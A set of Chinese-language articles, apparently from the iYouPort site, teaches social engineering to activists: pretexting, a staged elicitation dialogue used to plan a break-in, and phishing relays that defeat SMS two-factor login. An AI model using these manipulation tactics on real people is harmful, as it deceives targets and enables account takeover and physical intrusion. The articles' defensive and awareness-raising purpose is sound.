〇不要考虑自己的感受：这点很重要。因为通常在伪装时如果想太多就会融入更多的个人情绪，然后恐惧、不安或焦虑就会随之而来，这些都可能导致失败。另外你可能不会经历不安和焦虑，但有可能过度兴奋，这同样会导致你犯很多错误。

〇不要把事情太当真：当然，在生活中这就是一条好建议，而且非常适用于社交工程学。作为一名专业的安全人员，你有一份严肃的工作，这是一件严肃的事，但是如果不能笑对自己的错误，就可能会沉默不语，或者在处理后续的小事时如临大敌。我绝不是建议你视安全如儿戏，但是如果你将潜在的失败当作人生中的重大失败，那么产生的压力肯定会导致更坏的结果。只有正确地看待小的失误，才能获得更大的成功。

〇学会找到相关信息：即 摆脱思维的束缚，融入这个世界。这是一个非常棒的建议。社交工程人员可能全力计划好了前三个步骤，但是却遗忘了这个关键细节，就有可能会使伪装土崩瓦解。要始终留意身边出现的信息和状况，包括目标的肢体语言、说的话、微表情等，然后将其应用到自己的行动中。

同时，记住说话者能看出什么时候你没有在认真听他说话。这会让很多人感到不爽。每个人都经历过自己的话被别人当耳旁风，你能记得当时自己的感受。也许他们有各自的理由开小差，但这样做的确是非

常扫兴的。

一定要注意听目标说的话，集中注意力，你会听到一些对他们很重要的细节，同时也能够获取有助于自身取得成功的信息。

〇争取多积累经验。如果您一直在关注 IYP 介绍的社交工程技巧，那么就一定记得其中一个最常出现的关键字就是：多多练习。通过实践去积累经验，要做到能成就伪装，也能识破伪装。抛开死缠烂打的方式，与他人展开简短的会话，可以使你在伪装的时候表现得更加自然。

这些方法绝对能使社交工程人员在伪装中占据优势地位，具备自然的伪装能力可能是一种天赋，但是练习和充分的准备完全可以让没有天赋的人也能做到最好。

2.7 为目标提供逻辑结论或下一个安排

不论你是否相信，事实上，人们都希望被告知下一步该做什么。想象一下，你去看病，医生给你做了检查，并且在纸上记录了一些东西，然后告诉你："好了，下个月见"。这是让人无法接受的。就算是听到坏消息，人们也希望被告知下一步该做什么。

作为社交工程人员，你要离开目标时，可能需要他采取或不采取行动，或者你已经得到了想要的，只需要离开即可。不论是怎样，这个时候都不能立即离开，你应该给目标一个清晰的结论，否则很可能会令目标怀疑你的目的。

就像医生做完检查却不给你指示，直接打发你回家那样，如果你是社交工程人员，伪装成技术人员进入一栋大楼，在复制好自己想要的文件后一句话不说就走了，肯定会让人怀疑你。甚至有人会立即给你伪装的技术公司打电话，询问究竟是怎么回事，你就露馅了。你必须做一些总结，哪怕很简单也行，要像专业人士那样阐述："我已经检查了服务器，并修复了文件系统，你们会发现系统在未来几天里运行速度提高22%"，目标就会感觉"花钱值得"。

还要注意的是，你选择的伪装身份必须和你提出的所有请求相一致。如果你伪装成技术人员，就不应该命令周围人做或者不做什么，因为你在为他们服务；如果你伪装成UPS快递员，就不应该要求进入机房。

就如以前提到的，一次完美的伪装需要很多步骤。但对于希望进行完

全可信的伪装的社交工程人员来说，这两篇文章中的内容已经足够您使用了。

成功案例

美国历史上最大的银行抢劫案 — — Stanley Mark Rifkin 亲手策划，没有花一分钱、没有使用任何武器、没有任何人质，他一个人轻松带走了1020万美元。

Stanley 是一名电脑极客，在他的小公寓里开了一家电脑咨询公司，他的一个客户是给美国证券太平洋银行提供电脑服务的公司。坐落在洛杉矶的美国证券太平洋银行总部有55层，看上去就像一个花岗岩和玻璃组成的堡垒。身穿深色制服的保安人员在大厅里巡视，隐形的摄像头监视着所有来访者的一举一动。

这栋大楼看起来无懈可击。那么 Stanley 是如何轻松拿走了这么多钱的？

银行的电汇机制应该是最安全的，每笔电汇都必须输入密码，而且这个密码每天都会被强制修改，只有特定的人才能知道。密码被贴在安全房间的墙壁上，而且只有特定人员才可以进入这个房间。以下是公开资料的描述：

“Stanley 来到美国证券太平洋银行，那里的人理所当然地认为他是计算机工作人员。他乘坐电梯来到电汇室所在的D层，伪装成友好而且和蔼可亲的年轻人，他竟然进入了贴着密码的那个房间……他记住了密码，然后在没人怀疑的情况下离开了。然后电汇室的员工接到了麦克汉森的电话，他自称是该银行国际分部的员工，他正确地给出了当天的密码，要求为纽约欧文信托公司资金账户进行转账。整个过程没有任何怀疑。但事实上，那个麦克汉森就是 Stanley。他取走了1020万美元。”

但这显然是太粗略的描述，完全无法体现其中社交工程学的要点。让我们梳理一下：

- 为了能够在密码房间里不引起怀疑，他需要足够的自信和镇定；
- 提出汇款要求，他需要一个足够令人信服的故事，而且需要考虑足够多的细节来自圆其说；
- 面对可能出现的问题，他必须表现得足够自然；
- 为了不引起银行员工的怀疑，他的所有表达都需要足够熟练和

流利……

这些伪装必须经过细致的安排，要考虑到每一个极其微小的细节。直到遇见了一个前同事，Stanley 才被揭穿。Stanley 被抓的时候，认识他的人都非常震惊，甚至有人强调："他不可能是小偷！人人都喜欢 Mark！"

我绝不是在鼓励抢银行！而是在分析伪装。

很显然，他的伪装是非常到位的。他的计划经过了深思熟虑，安排周详，排练娴熟。他知道自己的目标是什么，每一步都做得非常完美。如果不是很早以前熟悉 Stanley 的人看了新闻后把他认了出来，他是不可能被发现的。

Stanley 的计划是把偷出来的钱变成不可追溯的钻石。为了实现这一目标，他首先需要变身一名银行雇员以拿到钱，然后变身一名钻石收购商将这些现金"洗掉"，最后把钻石卖掉，获得可以使用的、无迹可寻的、干净的现金。

他的伪装不涉及装备和说话方式的变化，却需要依次扮演银行工作人员、钻石采购商和销售商。这其中需要完成3到4次、甚至5次身份转化，他做得非常完美，几乎骗了所有人。

他的行为是不可饶恕的。但是在社交工程领域，他真的是个天才。如果他的能力用在正义的目标上，一定能非常有价值。

小结

伪装通常是专业身份窃贼开始入手的第一步。鉴于身份盗用最近几几年来已经越来越频繁地出现，你真的有必要知道它的原理，以便做到精准有效地识别。

民主派人士队伍中经常出现抓特务的游戏，因为人们意识到当局派来的卧底会潜伏在自己的队伍中。这种警惕性是必要的，但是，如果你使用了不专业不靠谱的鉴别方式，其结果不仅是无法发觉真正的的卧底，更会严重损伤团队内部的互信。得不偿失。当局毫不忌讳宣传他们的群众斗群众策略，就是希望为异议群体制造混乱和恐慌，如果你不能精准识别并引发了内部失信，那就彻底中计了。

尤其是在互联网上的卧底，也许会感觉很难识别，但是这种手段却非常常用，就如前文所介绍的，美国警方假冒活动家潜入社运组织内部钓鱼，事实上匿名者组织也被这样渗透过。但是我们不能因此放弃利

用互联网的动员和联合，否则将是因噎废食。

对于中国的反渗透工作来说，鉴别应该不是很难，但是肯定需要时间和精力。此处不方便太多说明，原因很简单，当局也在关注着这些公开发表的内容，一旦写明，其方法立刻就会失效，因为对手会迅速调整策略，以防止自己被发现。于是，如果您对此感兴趣，请努力研究，根据我们提供的社交工程基本知识，结合您的经验，完全可以总结出一套自己的鉴别方法。

就如本系列文章最初强调的那样，伪装的知识并非只提供给防御，它也可以用来作为技巧去追求正义的目标。反抗需要很多技巧，从在线到线下，从数字技术到心理学和社会学，掌握得越多您的行动就会越顺利和安全。最后，还是那句话：重在练习。●

附 —— 社交工程学过往知识点：

《网络战：社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》

《反侦察：除技术之外你还应该注意诸多重要的细节问题》

《人性弱点能摧毁一切防火墙：社交工程攻击实践，以及你必须在乎的问题》

《用”眼”识人：你想知道自己在一个”间谍”的眼中是什么样吗？》

《如何让一个人心甘情愿吐露重要信息？ —— 社交工程攻击“诱导的艺术”》

《挡不住的秘密就在你不知不觉中被暴露：社交工程学攻击实践》

《如何检测您是否正在受到监视？ —— 监视检测和特殊保护行动》

《现实生活中遍地都是可利用的信息：社交工程学侦查实践》

《语言是强大的武器 —— 如何使用它？社交工程攻击演示继续：致命的诱导》

《当恶意软件伪装网购物流：来自政府的社交工程攻击总能让你防不胜防》

未完待续……

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

如何使用社交工程来攻击 2FA？ - iyouport

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

【2019年8月2日存档】双因素身份认证被认为是相对可靠的保护措施。但是它很可能并没那么安全，使用社交工程伎俩就可以令2FA失败。如何做到的？

如今，许多服务都使用双因素身份验证（2FA）来提高用户帐户的安全性。在大多数情况下，2FA 使用密码和通过短信或电子邮件发送的代码作为验证的两个因素。与仅使用密码方法相比，2FA 显著更强、并提供更好的安全性。

但是，2FA 也容易受到攻击。最值得注意的是，攻击者可以使用社交工程策略绕过2FA并侵入用户帐户。因此，重要的是要充分了解社交工程如何运作以及如何最好地应对社交工程。

作为一名安全专家，您可能已经知道这一点，但您组织中的大多数人可能都不知道。社交工程利用人类行为特征、思维弱点和心理学以实现有效的攻击和入侵。通过使用情绪触发器、以及其他心理策略，攻击者可以说服用户放弃他们的个人信息和其他致命的细节。

正因为社交工程使用的是人类心理学基本特征，所以并没有万无一失的反击方法。几乎没有软件或工具可以有效阻止社交工程攻击。

这就是为什么人类是反对社交工程攻击的第一道也是唯一的防线。如果用户知道社交工程攻击是什么以及如何执行，就更有可能识别它、并且不会因此陷入困境。

反社交工程的第一步是了解它的运作方式。以下是攻击者可以绕过双因素身份验证的一些最常见的情况。

攻击者使用各种策略来执行社交工程攻击。说到 2FA，两种最常见的社会工程攻击类型遵循下面解释的方案。

场景1: 攻击者知道您的用户名和密码

数据泄漏在当今的数字世界中是很常见的。即使是大公司和在线零售商也会受到影响。在此类数据泄漏期间，大量的用户数据（包括登录用户名和密码）被转储到黑客站点上。

任何攻击者都可以访问这些数据并获取您的登录凭据。但是使用双因素身份验证的话，攻击者就无法仅使用用户名和密码来登录。因此，攻击者会使用社交工程来获取第二步验证的代码。

在这种攻击期间，攻击者可以向用户发送警告消息。此消息说明了以下内容：如果IP不属于您，则您的用户帐户已从可疑IP地址访问，请使用发送到您的号码的验证码进行回复。

在幕后，攻击者使用您的用户名和密码登录该服务。然后该服务会将验证码发送到您的手机。

如果用户使用验证码响应了那个虚假的警告消息，则攻击者就能够使用它来绕过2FA的第二步。登录后，攻击者还窃取会话 cookie 并对用户帐户进行完全未经授权的访问。

场景2：攻击者没有任何用户数据

现在考虑这种情况。攻击者不知道您的用户名、密码、电话号码或验证码。而且，他仍然可以使用社交工程攻击来获得所有这些信息，以及更多致命信息。

这种类型的攻击使用钓鱼网站—— 伪装成真正网站的虚假网站。网络钓鱼网站通常使用与真实网站十分相似的网址，仅仅差一个字母的区别，例如 Gmaiil. com 而不是 Gmail. com 或 LunkedIn. com 而不是 LinkedIn. com。

攻击者会首先创建一个有说服力的电子邮件，看起来它来自您认识的人或来自服务本身。该电子邮件的链接看起来很真实，并且您被要求登录。一旦您点击该链接，您将被带到虚假网站。

在假网站上，系统会要求您提供登录用户名和密码。当您提供这些详细信息时，攻击者会使用它们在真实的登录网站上登录。真实的网站会向您的号码发送验证码。当您在虚假登录站点上输入此代码时，攻击者也会获取代码并使用它来完成真实网站上的登录。

通过这种方式，攻击者就能够绕过 2FA 并获得对服务或网站上的用户帐户的访问权限。

现在我们已经看到攻击者如何使用社交工程来绕过 2FA，现在是时候探索可以防止社交工程黑客的一些方法了。使用这些工具和技巧，您可以自己避免社交工程陷阱，并指导工作场所的同事和其他朋友。

1、安全密钥是 2FA 中使用的另一种身份验证形式。这些是包含带有一个或多个密码的硬件芯片的物理密钥。这些密码由服务识别，并被接受为身份验证中合法的第二个因素。

安全密钥还具有内置机制，用于在提供存储在其上的密码之前确定网站是否合法。通过这种方式，它们可以防止网络钓鱼网站和虚假登录页面获取用户登录信息。

2、大多数社交工程策略使用网络钓鱼攻击和会话劫持来获取用户详细信息。高质量的安全 VPN 可以加密数据流量并保护浏览会话。这减少了社交工程攻击的可能性。

VPN 还可以有效抵御针对虚假站点使用 HTTPS 的高级网络钓鱼和社交工程攻击。您必须投资信誉良好的 VPN 才能获得对社交工程的良好保护。这是因为即使是一些著名的 VPN，例如Avast Secureline，也会出现严重的漏洞。在这里看到安全VPN的一些推荐《安全手册》

3、防范意识是对抗社交工程的最重要方式。了解社交工程是什么以及如何工作的用户通常可以更有效地避免社交工程攻击。

组织和团队可以投资于社交工程意识培训，以使其成员能够抵御社交工程攻击。渗透测试和模拟场景是帮助用户了解社交工程如何工作的好方法。

您非常有必要让您身边的人与您保持一致的安全意识和习惯，否则他们中的任何一个人都有可能将您和您的整个团队拉入火坑。

原文

如何克服社交焦虑 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

如果我们无法巩固现实中的人际关系，就更加容易深陷算法的世界而被控制。并且，越是沉迷于互联网交流，人们就容易在现实中难以找到完好的社交关系。怎么办？其实答案很简单

「图」

「图」

我和很多技术工程师一起工作，他们认为自己是内向的。内向型这个词经常被误用来描述从害怕公开演讲到真实社交焦虑的状况。我认识这些工程师，因为我曾经是他们中的一员。内向被认为是工程师的“标准性格”。如今我仍然会把自己描述为一个内向的人，但我已经能够克服对公开演讲的恐惧，克服社交焦虑，以及两者之间的所有限制性信念。

我看到社交焦虑限制了当前最优秀的工程师。由于社交焦虑，许多工程师害怕进入领导岗位。社交焦虑是一种精神状态，日常社交互动会导致非理性焦虑。

“我不能成为领导者，因为我不能在人群面前说话。”“我是一个内向的人，所以我太害羞，无法领导一个团队。”“我的团队认为我是个白痴“……

我听到了一些我曾与之合作过的最杰出的工程师的这类自我贬低的评论。这些评论都来自非常优秀的工程师，这就是一种深度的受限。

你有这种问题吗？如果我们无法巩固现实中的人际关系，就更加容易深陷算法的世界而被控制。并且，越是沉迷于互联网交流，人们就容易在现实中难以找到完好的社交关系。

怎么办？其实答案很简单，就是暴露疗法。

暴露疗法就是字面上的意思，即 对那些引起焦虑的情况的小增量暴露的概念。这就是我克服社交焦虑的方式，你也可以做到。以下是您可以立即尝试的一些小增量曝露。

主动问时间 — — 如今我们所有人不仅不再打听时间，甚至不再问路，因为我们的手机上就有一切，它就放在口袋里。这就让你失去了与周边人交流的机会。试着打听时间吧，对任何人，然后别忘了说谢谢，并面带微笑。没准可以找到话题继续聊一会。

赞美 — — 如今所有人都在社交媒体上给别人点赞，而不会面对面地赞美他人。而所有人都知道，社交媒体上的“朋友”几乎不会带来任何实质上的帮助。开始面对面地赞美他人吧，哪怕只是竖起大拇指，你一定会能得到热情的回应，甚至主动的搭讪。

说出意见 — — 与另一个人分享您的意见，并征求他们的看法。不一定非得是一个重要的工程理念，只需向同事询问他们最喜欢的 IDE（集成开发环境），以及他们为什么如此喜欢它。非常简单对吧，你能从中发现很多可以聊上一阵的话题。

加入小规模的对话 — — 你的同事们正在进行对话，加入他们，礼貌地询问话题。他们不会拒绝的，如果拒绝，那就换一组交流对象。

共进午餐 — — 这是个极好的沟通方式，大企业都知道办公室的咖啡厅时间有多么的重要。和同事甚至一群人共进午餐，不要再单独吃午餐了。共进午餐可以帮你更容易建立一些关系。

这些似乎都是简单的小步骤。当您开始对这些小型的社交活动感到满意时，请转向更多社交情境。届时，您将可以领导大型团队并发表公开演讲。一切有能力的人都不应该被埋没，走出社交焦虑的困境，你能发现非常多的展现能力的机会。好运！〇

原文

如何让一个人心甘情愿吐露重要信息？—— 社交工程攻击“诱导的艺术” - iyouport

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

【2018年8月30日存档】如果你真的不想被骗，那就有必要知道该怎么骗人。继续社交工程攻击实践。本文的效果应该是鸡皮疙瘩，如果您读完后没有这种反应，只能怀疑是没能深入理解它……

有效地引导别人把话说出来，是社交工程操作成功的关键。当人们和你交流的时候应该感觉很自在，制造这样的交流环境，人们就更愿意说出真话了。审讯执行者在接受培训的时候也会被这样告知。你也许在电视电影中看到过很多严肃的审讯场面，事实上真正的审讯往往不是那样，一开始审讯者会有意制造气氛让被审者放松情绪，这样才更容易套出真话。

这就是社交工程的伎俩。

你是否碰到过这样的人，简短的交谈后你忽然感觉，“哇，我喜欢这个人”。为什么会这样，你有没有想过？他究竟有什么特质让你产生了这种感觉？是他的微笑、他的长相、他对待你的方式、还是他的肢体语言？或许是他与你的想法及期望值比较接近？他看你的眼神比较平和，没有偏见，你此刻觉得和他在一起很放松。

现在设想你也有这样的潜能，并能掌握这种能力。 请不要以为本文在讲述如何与周边人搞好关系，不，那不是我们的主题。我们想要说的是诱导—— 让你在下意识的情况下吐露关键（也许是致命）的信息的方法。

诱导是间谍、欺骗大师、和社交工程人员最常用的技术，当然，医生、治疗师和司法人员也在使用。

如果你希望得到保护，免于圈套，或者希望自己成为一名优秀的套话大师—— 在正义的行动中作为关键能力之一，那么你就有必要掌握

这些技巧。

有效地使用诱导会产生惊人的效果。

那么，什么是诱导?

它是社交工程操作中少有的针对个人的强有力的工具 ，也是将它置于社交工程框架顶层的原因之一。仅仅通过这种技巧就能改变人们对你的看法。从社交工程的角度来看，它能改变你在实践中的操作方式。

我们来试试。

诱导的含义

诱导的意思是引出、套出或者得出一个逻辑上的结论(例如某种事实)。或者，可以将诱导定义为一种引发或者诱发某种特定类型行为的刺激，就如它在“诱供”中的意思。

请再看一遍上述的定义，如果你还没有起鸡皮疙瘩的话，那么只说明理解有误。

想想它的含义。有效地使用诱导意味着你能提出具有诱导性的问题，刺激别人采取你所希望的 行动。对于社交工程人员来说，这意味着有效地使用诱导可以将你说话及提问的技能提升到一个全新的层次。从信息收集的角度来讲，专家级的诱导就是指：目标愿意回答你的任何问题—— 是心甘情愿的。

我们再深入一些，因为全球的间谍都会使用诱导的技巧，所以很多政府部门会对其公职人员进 行相应的培训并给出警示，即对抗诱导、又能利用诱导达到他们自己的目的。

在美国国家安全局的培训教材中，对诱导的定义是这样的：在貌似正常和平凡的对话中精妙地获取信息。

这样的会话可能发生在任何地方，如餐馆、健身房、托儿所、菜市场……诱导使用起来效果很好，因为其风险较低且通常很难被察觉。部分情况下， 目标甚至不知道自己在什么情况下就泄漏了信息。如果被怀疑动机不纯，则可以以“不过随便问个问题”为由假装生气、蒙混过关。目标人根本无法抓住把柄。

诱导的效果如此之好的原因如下：

- 大部分人希望自己看上去比较有礼貌，尤其是对陌生人；
- 专业人士希望自己看起来见多多识 、很有才气；
- 如果得到赞赏， 大部分人通常会越说越起劲并泄漏更多的秘密；
- 大部分人不会为了撒谎而撒谎；
- 大部分人对貌似关心自己的人会表现得比较友善。

正因为大部分人都有这些特点，这便使得诱导的成功率极高，也使得人们在说起自己的成就时 很容易口无遮拦。下面演示一个实际操作的例子，请仔细看，社交工程师是如何使用套话技术的。

- 任务：收集某公司（组织/团队）的内部资料；该公司具有很高级别的安保系统。
- 环境：在当地的一场会议活动中碰到目标人。现场人较多，社交工程师（SE）需要寻找机会靠近目标（T）。这类会议的目的就是为了让人们互相认识，以扩展所谓的人脉，交换名片什么的，就像你知道的那种装逼聚会那样。

开始——

SE：“清静片刻？”

T：“是啊，还好有这个地方，可以坐下来喝点东西。”

SE 点了和 T 一样的饮料—— 这个细节一般人都会，使用的是我们早前介绍过的虚假帮派伎倆。SE 伸出手，说：“我叫**（一个假名字）。”

T：“我叫**（真名字）。”

SE 拿出准备好的定制名片，说：“我是某家小型进口公司采购部的经理。”

做为回应，T 也拿出名，说：“我是 ***公司的首席财务官。”

SE 表现得很轻松，笑着说：“你是管钱的啊，怪不得每个人都在那边围着你。你们公司具体是做什么的啊？”

T 开始说起公司一些产品的情况，当说到某个知名产品时，SE 马上说：“哦，原来是你们做的啊，我喜欢那个产品。我在《 **杂志》上看到过，好像创造过销售记录啊。”（注意：这就是发起攻击前准备工作的重要性。SE 已经从之前收集的信息中了解到了这些内容，信

息显示目标人自己也很喜欢那个产品，所以 SE 的赞美会起作用）

这时 T 开始显得有点骄傲了 :“你知道那个设备在第一个月的销量就超过它前后 5 个产品的销量总和吗？”

SE：“是啊，我知道为什么，因为我买了5个。”

过了一段时间，随意寒暄，保持礼貌和热情。随意的交流就能了解到很多细节，比如目标人的公司最近购买了财务软件、最近在度假的首席安全官的名字、以及目标人正准备和家人去哪里休假。这些看似没什么用的细节信息实际上有很高的价值，对下一步的攻击计划很有帮助。

但是 SE 没有满足， 继续提出了一个更为深入的问题：“我知道这个问题看起来很傻，但是我们是个小公司， 老板让我研究并购买一套门禁系统。我们现在用钥匙的，但是他认为 RFID 或者类似的系统会更好。你知道你们公司用什么吗？”

注意：这个问题很敏感，很容易引起警觉。但在此处，由于上述的铺垫，加上周围气氛，以及目标人并非职业安全官，于是敏感性有一定下降。这是在计划之内的。

T 说：“这个我可没有概念，我只负责签支票购买，不过我进门时用的就是这个卡 ……”他拿出钱包中的卡给 SE 看。并说，“我想可能是 RFID， 我只知道进门时晃一下钱包，门就开了。”

两个人都笑起来。

这些信息对攻击来说太有帮助了。

你可能注意到了，诱导与信息收集很相似，且紧密关联。通过良好的伪装和诱导技巧，这个特别的信息收集过程会容易得多。

诱导技巧应该使得问题能够尽可能自然地提出，目标在回答这些问题时也觉得很自然。

鉴于上述已经收集到的信息，攻击者知道目标人正在度假中、他们公司使用的财务软件类型、以及门禁系统，就可以策划出一次修复“故障” RFID 打卡机及出勤记录钟的攻击行动。

比如这样：“某某（目标人的名字）在去某地度假之前打电话给我，说生产部门有一个出勤记录钟没有正确注册，我来测试并分析一下，

只要几分钟就可以完成。”对于这种大公司来说，前台不会对这种话产生怀疑。注意，要装扮成符合你扮演的角色的特征，后面还会提到这点，它很重要。

你已经看到了关于事先准备工作—— 也就是信息收集的重要性。社交媒体时代这个问题变得尤其严重了，因为太多人根本不知道应该公开说什么和不该说什么，他们把几乎一切都放在网上。我们曾经在反侦查技巧中重点强调过：任何时候不要谈论自己！但这么说似乎并不精确，因为人们可能不知道哪些内容属于“谈论自己”—— 即 可被攻击者利用的东西。举个例子。

中文网络上很多“积极人士”崇尚于所谓的“反洗脑策略”，也就是寄希望于劝服屠夫放下屠刀。我们就不讨论这个模式是不是有效了（它都傻透顶了），但它明显是一个很具利用价值的信息点。我们假设当局的攻击者对此比较重视。攻击者可以通过关键字搜索和汇总技术，掌握哪些人、以及以多高的频率在讨论“反洗脑”，他们的态度都是什么。选择其中相对积极的支持者作为目标对象，进一步全网探索目标人的各种其他身份细节和个人信息。把这些信息汇总起来，不论是在现实中还是在网上，使用社交工程技术对其发起针对性攻击。攻击者可以扮演“反洗脑”的支持者、甚至可以扮演挑战者激起目标人的“讨论”兴趣，进一步引诱其说出更多信息。

因为被利用的价值并不在所谓的“反洗脑”本身，而是这一想法说出的人群，绝对是异议人群对吧，于是它将关乎很多异议人士（不论其反抗能力如何）的私人信息。你还觉得“任何时候不要谈论自己”这句话很简单吗？

记得我们在早前的文章中不止一次提到过不要轻敌这个问题。那些被派来操纵你的人都经过非常高端的心理学培训，他们知道如何装傻以博取你的信任。尤其是在超个人主义自恋狂的时代里，你只要稍微装傻，就能获取很多人“心满意足”的侃侃而谈。这是细思极恐的。

诱导很简单

通过简单、轻松、愉快的谈话就可以从很多人口中获取颇具价值的信息。

诱导不仅用于信息收集过程，也可以强化你的伪装，从而获取信息。所有这些成果依赖于定义清晰、经过深思熟虑的诱导模型。你需要事先准备充分。模型是针对性选择的，就如我们上面给出的两个例子，通过公开信息的收集对目标人的了解，将帮助你构建最适合对方上钩

的模型。这也是为什么我们多此强调：不要让陌生人太了解你！

再回忆一下定义，诱导就是攻击者想要目标做某件事，这件事很可能是简单到只是回答一个问题，也可能复杂到进入一个敏感区域。要达到这一目的，攻击者需要询问一系列的问题，其中部分是完全无关紧要的，只为了扰乱视线而存在，最终将目标人引入真正的目的。

一般秘密警察、便衣和情报机构特工都深谙此道，审讯、问询也利用这种方法。如果你经历过这些人而且不止一次，你也许能回忆到，他们使用了一些套路，就包括在上述解析中。之所以你能发现那是套路，因为他们中有些人在操作上过于机械，高手可以看出破绽。但并不意味着这些人中没有高手，也不过是你曾经没赶上高手出动。

通过上述介绍你会发现，信息是其中的关键。获取的信息越多，攻击的成功率就越高。因为诱导不具有威胁性，看起来轻松自然，所以很容易成功。请想想你在商店、咖啡馆或者其他地 进遇到过多少次那种看起来没有什么意义的简短对话？谈话的真谛在于使用诱导战术，并且每次都以一种轻松自然的的方式进行 。这也是诱导有效的原因。

⚠ 此处需要提醒两个对于中国异议人士来说非常重要的事，那就是：1、你的朋友；2、你的家人。简单说就是，你本人明白如何避免被秘密警察的诱导欺骗是不完全的，攻击者很可能会从你的亲密朋友和家人角度入手，尤其是家里的长辈，他们往往毫无戒心，容易以良好的愿望出卖你。所以，你应该保持让家人知道得越少越好。还有朋友，你必须有朋友，但也需要交往那些注重安全并且和你一样理解社交工程攻击特点的人，这样你们才能形成有效的防线。

也许我们把这些骗术撕开撕碎，摆在这里，你觉得它很简单，事实上并不是。因为人的意识充满了 bugs，利用它们一点都不难。英国有一个当红的真人秀节目《骗术真相》，主要就是演示社交工程攻击是多么的容易 。攻击者扮演陌生人与目标交流，通过偷拍验证，甚至一些套路都能屡试不爽。

一切都源于交谈的艺术。这种艺术可以做很多用途，最常见的比如推销、恋爱、和老板套关系、发展人脉、医师、心理咨询、社工等等。当然也会用于诸多恶意目的。

关于掌握交谈的艺术，最需要的 3 个主要步骤：

- 1、表现得自然。如果在交谈中显得不舒服或者不自然，会很快导致谈话失败。要想验证这点可以进行如下练习。与他人谈论

一些你精通的领域，在这个过程中你可以录像或者让朋友观察，观察你的站姿、动作以及阐述知识的方式。这些细节可以反映出你的自信和自然。然后，尝试参与一些你一无所知的领域的谈话，同样进行录像或者让朋友观察，看看在这种对话中你试图发表“真知灼见”时，上述细节有哪些变化。这些练习会显示出你表现自然与表现不自然的差异。对于没有专业训练的人来说，它将非常明显。不自然的表现会葬送你成功诱导的机会。那么，如何在谈话中表现得自然？就是第二条。

- 2、你需要拥有足够的知识。你必须了解与目标人交谈时所涉及领域的知识。此处有一个大大的!因为它非常关键。比如，你想要得到某个绝密产品的化学成分，你要诱导的目标是制造该产品的一位化学家，并且决定和他谈论化学，那么此时你就不能伪装成一个世界级的化学家(除非你真的是)。他可能在交谈中提出一些你完全不知道该怎么回答的问题，那样你就演砸了。最好的方法是伪装成该专业的学生，对目标人在该领域的造诣非常崇拜的那种。重点是，不管你选择谈论哪个话题，也不管你选择和谁交谈，都要做些研究、反复练习且精心准备。一定要具备足够的知识，就目标对象会感兴趣的话题侃侃而谈。记住，你只有一次机会！如果演砸了，那就回家吧。
- 3、切忌贪婪。当然，诱导的目的是获取信息、得到答案或者取得进入某个领域的钥匙。然而，不要以此作为重点！如果你一心想得到需要的信息，很快就会被目标看穿，导致目标失去兴趣。通常情况下，给对方一些感兴趣的东西会引起对方的“交换情结”，这样对方会下意识的觉得有义务给你一些回报。在交谈中这点很重要。交谈中要有来有往，除非对方是一个滔滔不绝的人。如果他谈论不止，就让他说。如果你得到了一些信息，就适可而止，不要贪婪地不断深挖，否则会引起对方的警觉。反过来看就是，如果对方在某个时间点上终止了继续交谈，你需要思考此前自己说了什么。

⚠ 请记住，很多时候，世界上的“最佳的交流者”其实是那些听得比说的多的人。

还需要注意的是：面部表情，也是非常重要的。表现得太紧张或太放松都会影响人们对你问题的反馈。如果你言辞镇定，并且吸引了目标参与交谈，但是肢体语言或面部表情却表现得漠不关心，就肯定会影响对方的情绪，即使他并没有意识到这点。

你知道 Cesar Millan 吗，著名的训狗师，被称为“狗语者”。他可以与那些难以驯服的狗沟通。仅仅只需要几分钟时间，他就能让狗和人形

成一些亲密的关系。他曾经提到过一个关键问题，那就是“精神”，或活力。换句话说就是，如果一个人在接近狗的时候处于精神紧张且焦虑的状态，那么即使他的言辞显得很镇定，狗也会紧张、狂吠甚至具有攻击性。这就是道理。

当然，狗和人绝对不同，但在此的逻辑是一样的。当你接近一个个体时会把自己的内心气氛带给对方，再麻木的人也有第六感，也许他们不一定能说清楚其中的道理，但他们完全可以感知到，从而下意识的在行为言谈上抱以警惕，很容易导致交流失败。

你肯定听到过这样的话，“那个家伙似乎很猥琐”，或者“这姑娘看上去很友善”，没错，这就是精神会话所传递的“感知 ”，这些信号会和个人以往的经历相关联，从而形成直觉判断。优秀的演员是深悟此道的，他们可以让自己看起来真的就是他们所扮演的角色，给你一种“他/她就是这种人”的印象。事实上完全不是如此。

如果一个便衣接受过此类培训，并完美的掌握了其中的诀窍，你可以想象得到这种事有多危险。

不是说让你对所有陌生人的搭讪都保持警惕，事实上这样做有可能无济于事。就如某些高端的网络攻击，攻击者入侵你的设备后不会立即行动让你觉察到，而是给予充分的时间，直到你忘记了自己在什么地方连接了不安全的网络。社交工程攻击也一样，攻击者甚至可以真的和你以自然的速度熟悉起来，再发起攻击（就如我们曾经演示过的 Facebook 钓鱼攻击那样），如果你只小心“陌生人”是解决不了这个问题的。攻击者甚至可以在第三方的位置，操纵你最信任的人对你间接发起攻击。

然而，攻击发起时的模式大同小异，现在你知道了其中关键的套话伎俩，就会明白该如何防备。不论这种伎俩的实施来自哪里，哪怕是亲密的人，有些不该说的东西也不能说。如果你是一个组织或团队的领导人，你应该明白如何告知掌握着重要信息访问权限的合作者和员工，防备这种诱导攻击。

好啦，下篇文章将继续介绍更多关键技术，由美国国土安全部的培训资料展开。下次见。

原文

如何让自己变成另一个人？ — — 社交工程学攻防知识（上） - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

你必须警惕的部分

究竟什么是伪装？如果你有机会变成一个完全不同的人，你最想做的是什么？

「图」

一名活动家被警察的卧底骗取了五年的感情和信任，这是最近公开的解密文件中曝光的惊人情节。我们都在谴责这种肆无忌惮的监视行为，但之所以它没能在短时间内被揭露，正是因为活动家的防御警惕性不充分。于是，整个故事最关键的部分之一就是本文的主题：伪装。

不必以为您自己不会遇到这种最邪恶的欺骗，也许您不是异议人士，也许您对政治一窍不通，也许您真的只是个极其普通的人，但是，您依旧很有可能遭遇社交工程高手，因为您身上究竟有什么值得攻击者垂涎的价值，您自己说了不算，我说了也不算，而是取决于攻击者。

